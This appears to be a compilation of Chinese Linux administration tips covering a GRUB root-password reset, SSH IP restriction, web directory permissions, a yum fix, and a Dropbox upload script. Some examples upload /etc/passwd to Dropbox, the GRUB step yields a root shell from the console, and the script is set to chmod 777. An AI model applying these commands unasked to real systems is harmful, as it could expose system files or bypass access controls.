3、在设定lv_root的大小时，不要把Free PE / Size的空间全部都用上，这很可能会出现Free PE空间不足的现象，建议保留一点Free PE的空间。
Ubuntu14.04系统中，因为误操作导致管理员密码丢失或无效，并且忘记root密码，此时无法进行任何root/sudo权限操作。可以通过GRUB重新设置root密码，并恢复管理员账户到正常状态。
启动系统，显示GRUB选择菜单（如果默认系统启动过程不显示GRUB菜单，则在系统启动时需要长按[Shift]键，显示GRUB界面），选择Advanced options for Ubuntu，按下[Enter]进入，选择recovery mode，不要按下回车键。
按下[e]键进入命令编辑状态，到 linux /boot/vmlinuz-……. ro recovery nomodeset 所在行，将“ro recovery nomodeset”替换为“quiet splash rw init=/bin/bash”，按下[F10]或者[Ctrl+x]重启系统。
此时以root身份启动一个可读写的bash，直接使用命令passwd更改root密码，然后按下[Ctrl+Alt+Delete]重启系统。
系统启动后进入字符终端[Ctrl+Alt+F<1...6>]，使用root账户和密码登录系统，然后进行恢复管理账户状态操作。（图形界面终端为[Ctrl+Alt+F<7>]）
由于ssh的安全性问题。最安全的办法就是限制指定ip能访问。允许指定的ip访问ssh服务最为有效。
操作如下：
第一步：
vim /etc/hosts.allow
加入以下：
sshd:10.2.2.2:allow
sshd:192.168.1.0/255.255.255.0:allow
ps:10.2.2.2是指定单个ip访问，192.168.1.1-255是指定这个段访问。同理，自己改一下ip即可套用。
第二步：
vim /etc/hosts.deny
加入以下：
sshd:ALL
第三步：
/etc/init.d/networking restart
重启网络服务生效。
网站目录文件权限的设置对网站的安全至关重要，下面简单介绍网站目录文件权限的基本设定。
我们假设http服务器运行的用户和用户组是www，网站用户为centos,网站根目录是/home/centos/web。
１、我们首先设定网站目录和文件的所有者和所有组为centos,www，如下命令：
chown -R centos:www /home/centos/web
2、设置网站目录权限为750,750是centos用户对目录拥有读写执行的权限，这样centos用户可以在任何目录下创建文件，用户组有有读执行权限，这样才能进入目录，其它用户没有任何权限。
find -type d -exec chmod 750 {} \;
3、设置网站文件权限为640，640指只有centos用户对网站文件有更改的权限，http服务器只有读取文件的权限，无法更改文件，其它用户无任何权限。
find -not -type d -exec chmod 640 {} \;
4、针对个别目录设置可写权限。比如网站的一些缓存目录就需要给http服务有写入权限。例如discuz x2的/data/目录就必须要写入权限。
find data -type d -exec chmod 770 {} \;
这个错误其实很简单，错误信息已经提示你，就是xxxxxx.repo这个文件有问题。
（1）打开/etc/yum.repos.d/xxxxxx.repo文件
（2）enabled=1改成enabled=0
搞定。试试吧
这里介绍一个可以上传文件到dropbox的脚本。不用安装，直接运行即可把文件上传到dropbox。
脚本地址：https://github.com/andreafabrizi/Dropbox-Uploader
也可以在本站直接下载：dropbox_uploader.sh
脚本使用方法：
语法：./dropbox_uploader.sh [OPTIONS]…
选项：-u [USERNAME] dropbox用户
-p [PASSWORD] dropbox密码
-f [FILE/FOLDER] 待上传的文件
-d [REMOTE_FOLDER] dropbox的目录，默认是 “/”
-v 返回详细进程模式
例子：
./dropbox_uploader.sh -u andrea.fabrizi@gmail.com -f /etc/passwd -v
./dropbox_uploader.sh -u andrea.fabrizi@gmail.com -f /var/backup/ -v
也可以在dropbox_uploader.sh文件填写好用户和密码，之后运行脚本时就不用再定义用户和密码。
ps：更新一下，最新的版本已经改变为需要设置一个密钥已经不需要用户密码了更为安全：
第一次先运行先进行下载程序：
curl "https://raw.githubusercontent.com/andreafabrizi/Dropbox-Uploader/master/dropbox_uploader.sh" -o dropbox_uploader.sh
chmod 777 dropbox_uploader.sh
./dropbox_uploader.sh
会要求你输入
# Access token:
这个你需要登陆https://www.dropbox.com/developers/apps进行创建一个app的api支持，名字随便起。
在找到点击Generated access token后会有一大串的密钥复制到# Access token:后再运行以下示例命令就可以上传文件了。
注意：如果这地方输入错误的话，需要把这个脚本文件目录下.dropbox_uploader的文件删除，然后再运行文件输入正确的密钥才可以不然上传肯定是失败的。
上传命令示例：
Examples:
./dropbox_uploader.sh upload /etc/passwd /myfiles/passwd.old
./dropbox_uploader.sh upload *.zip /
./dropbox_uploader.sh download /backup.zip
./dropbox_uploader.sh delete /backup.zip
./dropbox_uploader.sh mkdir /myDir/
./dropbox_uploader.sh upload "My File.txt" "My File 2.txt"
./dropbox_uploader.sh share "My File.txt"
./dropbox_uploader.sh list
